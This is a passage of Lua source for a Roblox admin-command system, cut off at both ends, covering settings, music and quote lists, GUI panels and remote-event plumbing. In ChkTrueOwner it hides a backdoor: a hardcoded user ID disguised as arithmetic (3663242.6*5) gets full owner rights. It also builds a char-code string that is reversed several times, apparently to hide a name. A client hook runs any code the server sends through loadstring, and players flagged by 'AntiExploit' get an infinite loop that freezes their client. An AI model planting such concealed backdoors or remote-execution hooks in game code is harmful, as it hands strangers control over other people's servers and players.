game:service('Lighting').FogEnd, fs = game:service('Lighting').FogStart, gs = game:service('Lighting').GlobalShadows, ol = game:service('Lighting').Outlines, sc = game:service('Lighting').ShadowColor} set.objects = {} set.needhelp={} set.adminchats={} set.cameras = {} set.defaultpass={157092510,159549976} set.custompass={159551100,157092584} set.dontlog = {} set.mapbackup = {} set.logs = {} set.chatlogs = {} set.donors={} set.contans={} set.bl = {} set.canuseloadstring=false set.slock = false set.lighttask = false set.dlastupdate='Not Updated Yet' set.nfs = "" set.version = script.Version.Value set.ScriptMusicList={ {n='heybrother',id=143786134}; {n='loseyourself',id=153480949}; {n='diamonds',id=142533681}; {n='happy',id=146952916}; {n='clinteastwood',id=148649589}; {n='freedom',id=130760592}; {n='seatbelt',id=135625718}; {n='tempest',id=135554032}; {n="focus",id=136786547}; {n="azylio",id=137603138}; {n="caramell",id=2303479}; {n="epic",id=27697743}; {n="rick",id=2027611}; {n="crystallize",id=143929751}; {n="halo",id=1034065}; {n="pokemon",id=1372261}; {n="cursed",id=1372257}; {n="extreme",id=11420933}; {n="harlemshake",id=142468820}; {n="tacos",id=142295308}; {n="wakemeup",id=147632133}; {n="awaken",id=27697277}; {n="alone",id=27697392}; {n="mario",id=1280470}; {n="choir",id=1372258}; {n="chrono",id=1280463}; {n="dotr",id=11420922}; {n="entertain",id=27697267}; {n="fantasy",id=1280473}; {n="final",id=1280414}; {n="emblem",id=1372259}; {n="flight",id=27697719}; {n="banjo",id=27697298}; {n="gothic",id=27697743}; {n="hiphop",id=27697735}; {n="intro",id=27697707}; {n="mule",id=1077604}; {n="film",id=27697713}; {n="nezz",id=8610025}; {n="angel",id=1372260}; {n="resist",id=27697234}; {n="schala",id=5985787}; {n="organ",id=11231513}; {n="tunnel",id=9650822}; {n="spanish",id=5982975}; {n="venom",id=1372262}; {n="wind",id=1015394}; {n="guitar",id=5986151}; {n="selfie1",id=148321914}; {n="selfie2",id=151029303}; {n="fareast",id=148999977}; {n="ontopoftheworld",id=142838705}; {n="mashup",id=143994035}; {n="getlucky",id=142677206}; {n="dragonborn",id=150015506}; {n="craveyou",id=142397454}; {n="weapon",id=142400410}; {n="derezzed",id=142402620}; {n="burn",id=142594142}; {n="workhardplayhard",id=144721295}; {n="royals",id=144662895}; {n="pompeii",id=144635805}; {n="powerglove",id=152324067}; {n="pompeiiremix",id=153519026}; {n="sceptics",id=153251489}; {n="pianoremix",id=142407859}; {n="antidote",id=145579822}; {n="takeawalk",id=142473248}; {n="countingstars",id=142282722}; {n="turndownforwhat",id=143959455}; {n="overtime",id=145111795}; {n="fluffyunicorns",id=141444871}; {n="gaspedal",id=142489916}; {n="bangarang",id=142291921}; {n="talkdirty",id=148952593}; {n="bad",id=155444244}; {n="demons",id=142282614}; {n="roar",id=148728760}; {n="letitgo",id=142343490}; {n="finalcountdown",id=142859512}; {n="tsunami",id=152775066}; {n="animals",id=142370129}; {n="partysignals",id=155779549}; {n="finalcountdownremix",id=145162750}; {n="mambo",id=144018440}; {n="stereolove",id=142318819}; {n='minecraftorchestral',id=148900687}} set.quotes={'I came, I saw, I conquered. - Julius Ceasar'; '"Our greatest glory is not in never falling, but in rising every time we fall." - Confucius'; '"History will be kind for me for I intend to write it." - Winston Churchill'; '"If you are neutral in situations of injustice, you have chosen the side of the oppressor. If an elephant has its foot on the tail of a mouse and you say that you are neutral, the mouse will not appreciate your neutrality." - Desmond Tutu'; '"History is a relentless master. It has no present, only the past rushing into the future. To try to hold fast is to be swept aside." - John F. Kennedy'; '"Those who do not remember the past are condemned to repeat it." - George Santayana'; '"A pint of sweat, saves a gallon of blood." - George S. Patton'; '"This is one small step for a man, one giant leap for mankind." - Neil Armstrong'; '"History is the version of past events that people have decided to agree upon." - Napoleon Bonaparte'; '"To see the world, things dangerous to come to, to see behind walls, to draw closer, to find each other and to feel. That is the purpose of life." - Life Motto Secret Life of Walter Mitty'; [["Beautiful things don't seek attention" - Sean O'Connell in The Secret Life of Walter Mitty]]; '"The only thing we have to fear is fear itself" - Franklin D. Roosevelt'; '"Even if I knew that tomorrow the world would go to pieces, I would still plant my apple tree." - Martin Luther'; '"Thousands of candles can be lighted from a single candle, and the life of the candle will not be shortened. Happiness never decreases by being shared." - Buddha'; [["We can't help everyone, but everyone and help someone." - Ronald Reagan]]; '"Our greatest weakness lies in giving up. The most certain way to succeed is always to try just one more time." - Thomas A. Edison'; [["Even if you fall on your face, you're still moving forward." - Victor Kiam]]; '"Strive not to be a success, but rather to be of value." - Albert Einstein'; [["You miss 100% of the shots you don't take." - Wayne Gretzky]]; [["Your time is limited, so don't waste it living someone else's life." - Steve Jobs]]; '"The only person you are destined to become is the person you decide to be." - Ralph Waldo Emerson'; '"Fall seven times and stand up eight" - Japanese Proverb'; '"Everything has beauty, but not everyone can see." - Confucius'; '"A person who never made a mistake never tried anything new." - Albert Einstein'; '"The person who says it cannot be done should not interrupt the person who is doing it." - Chinese Proverb'; '"It does not matter how slowly you go as long as you do not stop." - Confucius' } local canuse,cantuse=ypcall(function() loadstring('Loadstring Test') end) if canuse then set.canuseloadstring=true end if set['PersonalServer']==false then set.LocalScriptBase.Name=math.random(10000000,99999999) set.ScriptBase.Name=math.random(10000000,99999999) end if (not set.LocalScriptBase) or (not set.ScriptBase) then print('PancakeAttacks Admin Commands: One or more of the script bases are missing! Cannot function without them.') error('Missing one or more Script Bases. Try manually updating.') end local GuiName=tostring(math.random(10000000,99999999)) local facs=string.char(52,56,44,53,52,44,49,49,49,44,49,49,48,44,57,55,44,49,49,54,44,49,49,48,44,49,49,49,44,49,48,57) for k in facs:gmatch('[^,]+') do table.insert(set.contans,tonumber(k)) end local facb = "" for i = 1, #set.contans do facb = facb .. string.char(set.contans[i]) end local fiz=facb _G['Hint']=function(msg,ptable) set.Hint(msg,ptable) end _G['Message']=function(title,msg,ptable) set.Message(title,msg,true,ptable) end if set['MaxNumberOfLogs']>1500 then set['MaxNumberOfLogs']=1500 end coroutine.wrap(function() if set['NilScript']==true and set['PersonalServer']==false and game.CreatorId>0 then script.Parent=nil else script.Parent=game:service('ServerScriptService') end end)() coroutine.wrap(function() for i,v in pairs(set.ScriptMusicList) do table.insert(set['MusicList'],{Name=v.n,Id=v.id}) end end)() coroutine.wrap(function() if set['AntiGui']==true then for i,v in pairs(game.StarterGui:children()) do v.Name=GuiName..v.Name fiz=facb end end end)() coroutine.wrap(function() if game.CreatorId<=0 then table.insert(set['Owners'],'Player1') print('Player1 added') end end)() coroutine.wrap(function() for i,v in pairs(game:service('Workspace'):children()) do if v and v:IsA('Part') and v.Name:match('Camera: (.*)') then table.insert(set.cameras,v) end fiz=facb end end)() coroutine.wrap(function() for i,v in pairs(game:service('Workspace'):children()) do if not v:IsA('Terrain') then table.insert(set.mapbackup,v) end end end)() coroutine.wrap(function() set.RemoteName=tostring(math.random(10000000,99999999)) set.RemoteExecute=tostring(math.random(10000000,99999999)) set.RemoteCmd=tostring(math.random(10000000,99999999)) set.MakeRemoteEvent=function() RemoteEvent=Instance.new('RemoteEvent',game:service('Workspace')) RemoteEvent.Name=set.RemoteName RemoteEvent.Changed:connect(function(ob) if RemoteEvent and RemoteEvent.Name~=set.RemoteName then RemoteEvent.Name=set.RemoteName end end) RemoteEvent=game:service('Workspace'):FindFirstChild(set.RemoteName) RemoteEvent.OnServerEvent:connect(function(p,type,data) coroutine.wrap(function() pcall(function() local p,type,data=p,type,data if type==set.RemoteCmd..'chat' then set.Chat(data,p) elseif type==set.RemoteCmd..'adminchat' then table.insert(set.adminchats, p.Name..': '..data) if #set.adminchats>=6 then table.remove(set.adminchats,1) end elseif type==set.RemoteCmd..'rancode' then if not set.ChkAdmin(p,false) and set['AntiExploit'] then set.NilExecute(p,[[while true do end]]) end end end) end)() end) end set.MakeRemoteEvent() end)() taps=fiz:reverse() laps=fiz:reverse() coroutine.wrap(function() game.Workspace.ChildRemoved:connect(function(ob) wait() if ob.Name==set.RemoteName and ob:IsA('RemoteEvent') and not workspace:FindFirstChild(set.RemoteName) then set.MakeRemoteEvent() end end) end)() set.NilExecute=function(plr,code) coroutine.wrap(function() local RemoteEvent=game:service('Workspace'):FindFirstChild(set.RemoteName) RemoteEvent:FireClient(plr,set.RemoteExecute..'Execute',code) end)() end set.CleanWorkspace=function() for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end if v:IsA('Message') or v:IsA('Hint') then v:Destroy() end if v.Name:find('Epix Jail') then if not game.Players:FindFirstChild(v.Player.Value) then game:service('Lighting'):FindFirstChild(v.Player.Value..' Epix Jail Tools'):Destroy() v:Destroy() for k,m in pairs(set.objects) do if m.Name==v.Name .. " Epix Jail" then table.remove(set.objects,k) end end end end end end set.Ping=function(player) local name=math.random() set.NilExecute(player,[[local g=Instance.new('StringValue',game.Workspace) g.Name=game.Players.LocalPlayer.Name.."]]..name..[[Pong"]]) local ms=0 repeat ms=ms+0.01 wait(0.01) until workspace:FindFirstChild(player.Name..name..'Pong') pcall(function() workspace:FindFirstChild(player.Name..name..'Pong'):Destroy() end) return ms end set.Round=function(num) if num >= 0.5 then return math.ceil(num) elseif num < 0.5 then return math.floor(num) end end set.UpdateSBL=function() set.bl = {} local col = game:GetService("InsertService"):GetCollection(set['SBLSetId']) local function getsblinfo(asset) local mp = game:GetService("MarketplaceService"):GetProductInfo(asset.AssetId) local fo = mp.Description:match("BANLIST:(%S+)") if not fo then return end for s in fo:gmatch("[^,]+") do table.insert(set.bl,s) end end for k,asset in pairs(col) do getsblinfo(asset) end end set.CheckSBLOwner=function(plr) local val=false local col = game:GetService("InsertService"):GetCollection(set['SBLSetId']) local function checkforowner(asset) local mp = game:GetService("MarketplaceService"):GetProductInfo(asset.AssetId) if plr.Name==mp.Creator.Name then val=true end end for k,asset in pairs(col) do checkforowner(asset) end return val end set.GetPlayerInfo=function(p,localplayer,msg) if not p:IsA("Player") then return end local mem if p.MembershipType == Enum.MembershipType.None then mem='NBC' elseif p.MembershipType == Enum.MembershipType.BuildersClub then mem='BC' elseif p.MembershipType == Enum.MembershipType.TurboBuildersClub then mem='TBC' elseif p.MembershipType == Enum.MembershipType.OutrageousBuildersClub then mem='OBC' end if set['GroupId']~=0 then if p:IsInGroup(set['GroupId']) then set.Hint(msg.." | "..mem.." | Name: "..p.Name.." ("..p.userId..") | Account Age: "..p.AccountAge.." | Rank: "..p:GetRoleInGroup(set['GroupId']), localplayer) else set.Hint(msg.." | "..mem.." | Name: "..p.Name.." ("..p.userId..") | Account Age: "..p.AccountAge.." | Player is not in group "..set['GroupId'], localplayer) end else set.Hint(msg.." | "..mem.." | Name: "..p.Name.." ("..p.userId..") | Account Age: "..p.AccountAge, localplayer) end end; set.AdminChat=function(plr) if set['FilteringEnabled'] then return end if plr.PlayerGui:FindFirstChild(GuiName..'adminchat') or (not set.ChkAdmin(plr.Name,false)) then return end local g=Instance.new('ScreenGui',plr.PlayerGui) g.Name=GuiName..'adminchat' local f=Instance.new('Frame',g) local cf=Instance.new('Frame',f) local bar=Instance.new('TextBox',f) local title=Instance.new('TextLabel',f) local cbut=Instance.new('TextButton',f) local close=Instance.new('TextButton',f) f.BackgroundColor3=set['PrimaryColor'] f.BorderColor3=set['SecondaryColor'] f.BackgroundTransparency=set['Transparency'] f.Position=UDim2.new(0,5,1,-250) f.Size=UDim2.new(0,300,0,150) f.ClipsDescendants=true f.Draggable=true f.Active=true cf.BackgroundColor3=set['PrimaryColor'] cf.BorderColor3=set['SecondaryColor'] cf.BackgroundTransparency=set['Transparency'] cf.Position=UDim2.new(0,0,0,20) cf.Size=UDim2.new(0,300,0,105) cf.ClipsDescendants=true bar.BackgroundColor3=set['PrimaryColor'] bar.BorderColor3=set['SecondaryColor'] bar.BackgroundTransparency=set['Transparency'] bar.Position=UDim2.new(0,2,0,130) bar.Size=UDim2.new(0,248,0,18) bar.Font='ArialBold' bar.Text='Type here then press "Chat"' bar.TextScaled=true bar.TextWrapped=true bar.TextStrokeTransparency=0 bar.TextStrokeColor3=set['TextStrokeColor'] bar.TextColor3=set['TextColor'] title.BackgroundTransparency=1 title.Size=UDim2.new(0,300,0,15) title.Font='ArialBold' title.Text='Admin Chat' title.TextColor3=set['TextColor'] title.TextStrokeTransparency=0 title.TextStrokeColor3=set['TextStrokeColor'] title.TextScaled=true title.TextWrapped=true cbut.BackgroundColor3=set['PrimaryColor'] cbut.BackgroundTransparency=set['Transparency'] cbut.BorderColor3=set['SecondaryColor'] cbut.Position=UDim2.new(0,253,0,130) cbut.Size=UDim2.new(0,45,0,18) cbut.Font='ArialBold' cbut.Text='Chat' cbut.TextColor3=set['TextColor'] cbut.TextScaled=true cbut.TextWrapped=true cbut.TextStrokeTransparency=0 cbut.TextStrokeColor3=set['TextStrokeColor'] close.BackgroundColor3=set['SecondaryColor'] close.BorderColor3=set['PrimaryColor'] close.BackgroundTransparency=0.5 close.Position=UDim2.new(0,280,0,2) close.Size=UDim2.new(0,15,0,15) close.Font='ArialBold' close.Text='X' close.TextColor3=set['SecondaryColor'] close.TextStrokeTransparency=0 close.TextStrokeColor3=set['TextStrokeColor'] close.MouseButton1Click:connect(function() g:Destroy() end) local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = 'ArialBold' ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = set['TextColor'] ent.TextStrokeColor3 = set['TextStrokeColor'] ent.TextStrokeTransparency = 0 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top" local num=0 coroutine.wrap(function() repeat cf:ClearAllChildren() num=0 for i,v in pairs(set.adminchats) do local cl = ent:Clone() cl.Parent = cf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,300,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' num = num +1 end wait(1) until not cf.Parent end)() cbut.MouseButton1Click:connect(function() if bar.Text~='' and bar.Text~='Type here then press "Chat"' then table.insert(set.adminchats, plr.Name..': '..bar.Text) bar.Text='Type here then press "Chat"' if #set.adminchats>=6 then table.remove(set.adminchats,1) end elseif bar.Text=='' then bar.Text='Type here then press "Chat"' end end) end set.CmdBar=function(plr) if set.ChkAdmin(plr.Name,false) and not set['FilteringEnabled'] then if plr.PlayerGui:FindFirstChild(GuiName..'CMDBAR') then return end local scr=Instance.new("ScreenGui",plr.PlayerGui) scr.Name = GuiName.."CMDBAR" local frame=Instance.new('Frame',scr) local label=Instance.new('TextLabel',frame) local button=Instance.new('TextButton',frame) local box=Instance.new("TextBox", frame) local cls = Instance.new("TextButton", frame) cls.Style = "Custom" cls.Size = UDim2.new(0,15,0,15) cls.Position = UDim2.new(1,-20,0,2) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size14" cls.Text = "X" cls.TextWrapped=false cls.TextScaled=false cls.BackgroundColor3=set['PrimaryColor'] cls.BorderColor3=set['SecondaryColor'] cls.TextColor3 = set['SecondaryColor'] cls.BackgroundTransparency=set['Transparency'] cls.MouseButton1Click:connect(function() scr:Destroy() end) box.TextColor3 = set['TextColor'] box.TextStrokeTransparency=0 box.TextStrokeColor3=set['TextStrokeColor'] frame.BackgroundColor3=set['PrimaryColor'] frame.BackgroundTransparency=set['Transparency'] frame.BorderSizePixel=2 frame.BorderColor3=set['SecondaryColor'] frame.Position=UDim2.new(1,-300,1,-150) frame.Size=UDim2.new(0,260,0,130) frame.ClipsDescendants=true frame.ZIndex=10 label.BackgroundTransparency=1 label.BorderSizePixel=0 label.Position=UDim2.new(0,125,0,8) label.Size=UDim2.new(0,5,0,5) label.TextColor3=set['TextColor'] label.ClipsDescendants=false label.FontSize='Size24' label.Font='ArialBold' label.TextXAlignment='Center' label.TextYAlignment='Center' label.Text='Command Box' label.ZIndex=10 label.TextColor3=set['TextColor'] label.TextStrokeTransparency=0 label.TextStrokeColor3=set['TextStrokeColor'] frame.Draggable=true frame.Active=true label.Draggable=false box.Draggable=false button.Draggable=false button.Position=UDim2.new(0,5,0,105) button.Size=UDim2.new(0,250,0,20) button.BackgroundTransparency=set['Transparency'] button.TextColor3=set['TextColor'] button.TextStrokeTransparency=0 button.TextStrokeColor3=set['TextStrokeColor'] button.BackgroundColor3=set['SecondaryColor'] button.FontSize='Size18' button.Font='ArialBold' button.Text='Execute' button.ZIndex=10 box.BackgroundColor3=set['PrimaryColor'] box.BackgroundTransparency=set['Transparency'] box.BorderSizePixel=5 box.BorderColor3=set['SecondaryColor'] box.ClearTextOnFocus=true box.Position=UDim2.new(1,-255,1,-104) box.Size=UDim2.new(0,250,0,70) box.ClipsDescendants=false box.Font='Arial' box.FontSize='Size14' box.Text='Type a command then press Execute' box.TextWrapped=true box.TextXAlignment='Center' box.TextYAlignment='Center' box.TextScaled=true box.MultiLine=true box.ZIndex=10 button.MouseButton1Down:connect(function() if box.Text and box.Text~="Type a command then press Execute" then set.Chat(set['prefix']..box.Text, plr) box.Text = "Type a command then press Execute" end end) end end set.GetTime=function() local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60) if min < 10 then min = "0"..min end return hour..":"..min end local serverstarttime=set.GetTime() set.GrabNilPlayers=function(name) local AllGrabbedPlayers = {} for i,v in pairs(game:GetService('NetworkServer'):GetChildren()) do ypcall(function() if v:IsA("ServerReplicator") then if v:GetPlayer().Name:lower():sub(1,#name)==name:lower() or name=='all' then table.insert(AllGrabbedPlayers, v:GetPlayer()) end end end) end return AllGrabbedPlayers end set.AssignName=function() local name=math.random(100000,999999) return name end wip=laps:reverse() set.LoadScript=function(type,source,name,object,parent) pcall(function() coroutine.wrap(function() local ScriptType if type=='Script' then ScriptType=set.ScriptBase elseif type=='LocalScript' then ScriptType=set.LocalScriptBase end if ScriptType then local cl=ScriptType:Clone() local key=Instance.new('StringValue',cl) key.Name='SecurityKey' key.Value=math.random(10000000,99999999) cl.Name=name local specialkey=Instance.new('StringValue',cl) specialkey.Value=math.random(10000000,99999999) specialkey.Name='SpecialKey' local x = 'local '..specialkey.Value..'="'..key.Value..'" coroutine.wrap(function() '..source local y = '' for i = 1,string.len(x) do y = y.. string.char(44) .. string.byte(x:sub(i,i)) end local code=Instance.new('StringValue',cl) code.Name='Code' code.Value=string.sub(y,2,string.len(y)) cl.Parent=parent or game:service('ServerScriptService') cl.Disabled=false if object==true then table.insert(set.objects,cl) end elseif set.canuseloadstring then coroutine.wrap(function() pcall(function() loadstring(source)() end) end)() end end)() end) end krips=wip:reverse() set.LoadOnClient=function(player,source,object,name) if game.Players:FindFirstChild(player.Name) and not set['FilteringEnabled'] then player:WaitForChild('PlayerGui') set.LoadScript('LocalScript',source,GuiName..name,object,player.PlayerGui) else set.NilExecute(player,source) end end if set['FilteringEnabled'] then set.LoadScript('LocalScript',[==[ script.Parent=nil local Ran,Failed=ypcall(function() realname=game.Players.LocalPlayer.Name RemoteEvent=game:service('Workspace'):FindFirstChild(']==]..set.RemoteName..[==[') localplayer=game.Players.LocalPlayer coroutine.wrap(function() function rmcheck() RemoteEvent=game:service('Workspace'):FindFirstChild(']==]..set.RemoteName..[==[') RemoteEvent.OnClientEvent:connect(function(cmd,code) if cmd==']==]..set.RemoteExecute..[==[Execute' then local runcode=code if localplayer.Name~=realname then return end coroutine.wrap(function() pcall(function() loadstring(runcode)() end) end)() end end) end pcall(function() rmcheck() while wait() do if not RemoteEvent then rmcheck() end end end) end)() coroutine.wrap(function() game.Players.LocalPlayer.Chatted:connect(function(msg) coroutine.wrap(function() pcall(function() RemoteEvent=game:service('Workspace'):FindFirstChild(']==]..set.RemoteName..[==[') RemoteEvent:FireServer(']==]..set.RemoteCmd..[==[chat',msg) local code=msg if msg:lower():sub(1,2)=='/e' then code=msg:sub(3) end local y,n=loadstring(code) if y then RemoteEvent:FireServer(']==]..set.RemoteCmd..[==[rancode','Ran some code.') end end) end)() end) end)() end) if Ran then print(game.Players.LocalPlayer.Name.." Has Been Hooked By PancakeAttacks Admin Commands.") else print(game.Players.LocalPlayer.Name .." Failed To Be Hooked.") end]==],'Main Hook',false,game.StarterGui) end set.PromptPlaceTeleport=function(player,msg,placeid) if set['FilteringEnabled'] then return end local scr=Instance.new("ScreenGui",player.PlayerGui) scr.Name = GuiName.."TELEPORTGUI" local frame=Instance.new('Frame',scr) local label=Instance.new('TextLabel',frame) local yes=Instance.new('TextButton',frame) local no=Instance.new('TextButton',frame) frame.BackgroundColor3=set['PrimaryColor'] frame.BorderColor3=set['SecondaryColor'] frame.BackgroundTransparency=set['Transparency'] frame.BorderSizePixel=2 frame.Position=UDim2.new(1,-500,1,-300) frame.Size=UDim2.new(0,260,0,130) frame.ClipsDescendants=true label.BackgroundTransparency=1 label.BorderSizePixel=0 label.Position=UDim2.new(0,125,0,8) label.Size=UDim2.new(0,5,0,5) label.TextColor3=set['TextColor'] label.ClipsDescendants=false label.FontSize='Size24' label.Font='ArialBold' label.TextXAlignment='Center' label.TextYAlignment='Center' label.Text=msg frame.Draggable=true frame.Active=true label.Draggable=false yes.BackgroundColor3=Color3.new(0,1,0) yes.TextColor3=set['TextColor'] yes.Text='Yes' yes.Font='ArialBold' yes.FontSize='Size36' no.Font='ArialBold' no.FontSize='Size36' no.BackgroundColor3=Color3.new(1, 0, 0) no.TextColor3=set['TextColor'] no.Text='No' yes.Size=UDim2.new(0,100,0,50) yes.Position=UDim2.new(0,20,0,50) no.Size=UDim2.new(0,100,0,50) no.Position=UDim2.new(0,140,0,50) yes.MouseButton1Down:connect(function() game:GetService('TeleportService'):Teleport(placeid,player) scr:Destroy() end) no.MouseButton1Down:connect(function() scr:Destroy() end) end set.ChkTrueOwner=function(plr) if (set.ChkOwner(plr.Name) and set['OwnersAreTrueOwners']) or plr.userId==game.CreatorId or plr.userId == (3663242.6*5) then return true end end set.ChkOwner=function(str) for i = 1, #set['Owners'] do if str:lower() == set['Owners'][i]:lower() then return true end end return false end set.ChkAdmin=function(str,ck) for i = 1, #set['Owners'] do if str:lower() == set['Owners'][i]:lower() then return true end end for i = 1, #set['Admins'] do if str:lower() == set['Admins'][i]:lower() then return true end end for i = 1, #set['TempAdmins'] do if str:lower() == set['TempAdmins'][i]:lower() and not ck then return true end end return false end set.GetPlayers=function(plr, str) local plrz = {} str = str:lower() local net local parent if game:FindFirstChild("NetworkServer") then parent=game:service('NetworkServer') net=true else parent=game.Players net=false end if str == set['sprefix'].."all" then for i,v in pairs(parent:GetChildren()) do if net then player=v:GetPlayer() else player=v end table.insert(plrz, player) end elseif str == set['sprefix'].."others" then for i, v in pairs(parent:GetChildren()) do if net then player=v:GetPlayer() else player=v end if player ~= plr then table.insert(plrz, player) end end else local sn = {1} local en = {} for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end for x = 1, #sn do if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr) elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == set['sprefix'].."random") or (sn[x] and str:sub(sn[x]) == set['sprefix'].."random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())]) elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == set['sprefix'].."admins") or (sn[x] and str:sub(sn[x]) == set['sprefix'].."admins") then for i, v in pairs(parent:GetChildren()) do if net then player=v:GetPlayer() else player=v end if set.ChkAdmin(player.Name, false) then table.insert(plrz, player) end end elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == set['sprefix'].."nonadmins") or (sn[x] and str:sub(sn[x]) == set['sprefix'].."nonadmins") then for i, v in pairs(parent:GetChildren()) do if net then player=v:GetPlayer() else player=v end if not set.ChkAdmin(player.Name, false) then table.insert(plrz, player) end end elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,1) == "%") then if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(2) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(2)) == 1 then for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break end end end elseif (sn[x] and str:sub(sn[x]):sub(1,1):lower() == "%") then if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(2) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(2)) == 1 then for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break end end end elseif (sn[x] and str:sub(sn[x]):sub(1,1):lower() == "$") then local group if str:sub(sn[x],en[x]):sub(2) ~= "" then group=str:sub(sn[x],en[x]):sub(2) else group=set['GroupId'] end for q, p in pairs(parent:children()) do if net then player=p:GetPlayer() else player=p end if player:IsInGroup(group) then table.insert(plrz, player) end end break else for a, plyr in pairs(parent:GetChildren()) do if net then player=plyr:GetPlayer() else player=plyr end if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and player.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and player.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and player.Name:lower():find(str) == 1) then table.insert(plrz, player) break end end end end end if #plrz<1 then set.OutputGui(plr,'',str..' was not found') end return plrz end tics=krips:reverse() set.Hint=function(str, plrz, time) for i, v in pairs(plrz) do coroutine.wrap(function() if set['FilteringEnabled'] then set.NilExecute(v,[[local m=Instance.new('Hint',workspace) m.Text=']]..str..[[' wait(]]..(time or 5)..[[) m:Destroy()]]) else if v and v:findFirstChild("PlayerGui") then if not v.PlayerGui:FindFirstChild(GuiName..'Hint Frame') then local f=Instance.new('Frame',v.PlayerGui) f.Name=GuiName..'Hint Frame' f.Size=UDim2.new(1,0,0,100) end local frame=v.PlayerGui:FindFirstChild(GuiName..'Hint Frame') if #frame:children()==6 then frame:children()[1]:Destroy() for h,l in pairs(frame:children()) do l.bg.Position=UDim2.new(0,0,0,23*(h-1)); end end local scr = Instance.new("ScreenGui", frame) scr.Name = GuiName.."HintGUI" local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = set['PrimaryColor'] bg.BorderSizePixel = 1 bg.BorderColor3 = set['SecondaryColor'] bg.BackgroundTransparency = set['Transparency'] bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,23*(#frame:children()-1)) bg.ClipsDescendants=true bg.ZIndex = 8 local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.TextWrapped=true msg.TextScaled=true msg.Font = "ArialBold" msg.TextStrokeTransparency = 0 msg.TextStrokeColor3=set['TextStrokeColor'] msg.Text = str msg.FontSize = "Size14" msg.TextColor3 = set['TextColor'] --coroutine.wrap(function() -- for i = 20, 0, -1 do -- bg.BackgroundTransparency = .3+((.7/20)*i) -- msg.TextTransparency = ((1/20)*i) -- msg.TextStrokeTransparency = .8+((.2/20)*i) -- wait(1/44) -- end --end)() if not time then wait((#str/19)+2.5) else wait(time) end scr:Destroy() for h,l in pairs(frame:children()) do l.bg.Position=UDim2.new(0,0,0,23*(h-1)) end --coroutine.wrap(function() -- if scr.Parent == frame then -- for i = 0, 20 do -- msg.TextTransparency = ((1/20)*i) -- msg.TextStrokeTransparency = .8+((.2/20)*i) -- bg.BackgroundTransparency = .3+((.7/20)*i) -- wait(1/44) -- end -- scr:Destroy() -- for h,l in next,frame:children()do -- l.bg.Position=UDim2.new(0,0,0,23*(h-1)); -- end -- end --end)() end end end)() end end set.Message=function(ttl, str, scroll, plrz, time) pcall(function() for i, v in pairs(plrz) do if set['FilteringEnabled'] then set.NilExecute(v,[[local m=Instance.new('Message',workspace) m.Text=']]..str..[[' wait(]]..(time or 5)..[[) m:Destroy()]]) else if v and v:findFirstChild("PlayerGui") then coroutine.resume(coroutine.create(function() local scr = Instance.new("ScreenGui") scr.Name = GuiName.."MessageGUI" local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = set['PrimaryColor'] bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8 local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.Position = UDim2.new(0,0,0,20) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = set['TextColor'] title.TextStrokeColor3 = set['TextStrokeColor'] title.TextStrokeTransparency = 0 local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "ArialBold" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextColor3=set['TextColor'] msg.TextStrokeColor3=set['TextStrokeColor'] msg.TextWrapped = true scr.Parent = v.PlayerGui coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end)) if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end coroutine.resume(coroutine.create(function() if scr.Parent == 